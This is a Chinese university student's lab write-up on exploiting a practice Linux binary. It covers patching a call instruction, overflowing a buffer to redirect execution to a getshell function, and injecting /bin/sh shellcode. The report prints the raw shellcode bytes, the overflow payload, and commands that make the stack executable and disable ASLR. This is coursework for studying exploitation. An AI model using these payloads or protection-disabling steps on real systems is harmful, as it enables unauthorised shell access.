2017-2018-2 20155230《网络对抗技术》实验1:PC平台逆向破解(5)M
1、直接修改程序机器指令,改变程序执行流程
2、通过构造输入参数,造成BOF攻击,改变程序执行流
3、注入Shellcode并执行
4、实验感想
注:因为截图是全屏所以右键图片在新的标签页打开观看更加。实验开始前可以使用cp pwn1 -p pwn2复制一个文件,不然做完第一步实验还要把文件改回去才能继续做后面的部分。
NOP汇编指令的机器码是"90"
JNE汇编指令的机器码是"75"
JE 汇编指令的机器码是"74"
JMP汇编指令的机器码是"eb"
CMP汇编指令的机器码是"39"
1、直接修改程序机器指令,改变程序执行流程
首先使用
objdump -d pwn1将pwn1程序进行反汇编

看见了main函数中的call(跳转)指令,通过计算foo函数与getshell函数的地址偏移量差值,知道了只需要将
d7 ff ff ff中的d7改为c3即可。
1、先用vi pwn1命令准备编辑
2、按下Esc输入:%!xxd将图中乱码转为16进制显示
3、输入/d7ff找到需要修改的地方,并修改
4、输入:%!xxd -r转为原格式(否则无法运行),并保存退出

2、通过构造输入参数,造成BOF攻击,改变程序执行流程
1、使用gdb调试pwn1
2、输入11111111122222222333333334444444455555555通过寄存器eip(用来存储CPU将要读取指令的地址)知道在数字5处开始报错
3、再次输入11111111122222222333333334444444412345678确定具体位置

4、知道了1234这4个数会覆盖eip寄存器
5、将这4个字符换为getshell的内存地址(图1中有),输入11111111222222223333333344444444\x7d\x84\x04\x08

3、 注入Shellcode并执行
1、需要修改以下设置
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
2、初步注入shellcode(结构为retaddr+nops+shellcode),输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
3、使用ps -ef | grep pwn1查看pwn1的进程号

4、使用gdb调试,查看buf的内存地址并使用break *0x080484ae设置断点,按c运行然后再正在运行pwn1的终端敲回车,回到gdb使用info r sep查看地址
5、使用x/16x 0xffffd33c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。
使用x/16x 0xffffd33c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。
6、将之前的\x4\x3\x2\x1改为这个地址即可


实验感想
又有了打开新世界大门的感觉。也是第一次感觉到能看懂汇编指令非常重要。这次的实验总体都很简单,老师上课也都一步一步讲过了,指导书也把步骤写的很详细(我没跳进坑里哈哈哈),这门课也才等于刚开始,好好加油吧!
2017-2018-2 20155230《网络对抗技术》实验1:PC平台逆向破解(5)M的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3
<网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...
- 2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165228 Exp1 PC平台逆向破解 实验内容及步骤 第一部分:直接修改程序机器指令,改变程序执行流程 关键:通过修改call指令跳转的地址,将原本指向被 ...
随机推荐
- ESLint 使用方法
一.全局安装 npm install -g eslint 二.生成配置文件 在项目根目录执行init,生成.eslintrc文件.在init时,要求根目录存在package.json.当然也可以直接复 ...
- Object对象常用方法总结
[常用语法]//1.定义对象: var const let var Person = { name: '张三', birth,//等同于birth: birth hello() { console.l ...
- 目标管理之SMART原则
SMART原则经常用于KPI制定,也可以用于个人目标管理. SMART原则: S(Specific):目标必须是具体的,需要对标特定的工作目标,不能笼统: M(Measurable):目标必须是可衡量 ...
- pong game using ncurses
bounce2d2.c /* * bounce2d 1.0 * bounce a character (default is 'o') around the screen * defined by s ...
- python selenium爬取自如租房数据保存到TXT文件
# -*- coding: utf-8 -*-"""Created on Fri Aug 31 2018 @author: chenlinlab"" ...
- __细看InnoDB数据落盘 图解 MYSQL
http://hatemysql.com/?p=503 1. 概述 前面很多大侠都分享过MySQL的InnoDB存储引擎将数据刷新的各种情况.我们这篇文章从InnoDB往下,看看数据从InnoDB的 ...
- It’s Time To Think Linq
动机 如果你有以下迷惑,你应该看看这篇文章 你想办法找到所有与GameObject.FindGameObjectsWithTag的变换(),而不是游戏本身的对象 你需要操作,排序和更改列表和数组的类型 ...
- mysql host'XXX' is not allowed to connect to this mysql server
错误的原因一般是没有添加 IP可远程的权限. 首先以 root 帐户登陆 MySQL 1.在 Windows 主机中点击开始菜单,运行,输入“cmd”,进入控制台,然后cd 进入MySQL 的 bin ...
- HTML5新特性postMessage解决跨域
window.postMessage的功能是允许程序员跨域在两个窗口/frames间发送数据信息.基本上,它就像是跨域的AJAX,但不是浏览器跟服务器之间交互,而是在两个客户端之间通信.让我们来看一下 ...
- libco协程库上下文切换原理详解
缘起 libco 协程库在单个线程中实现了多个协程的创建和切换.按照我们通常的编程思路,单个线程中的程序执行流程通常是顺序的,调用函数同样也是 “调用——返回”,每次都是从函数的入口处开始执行.而li ...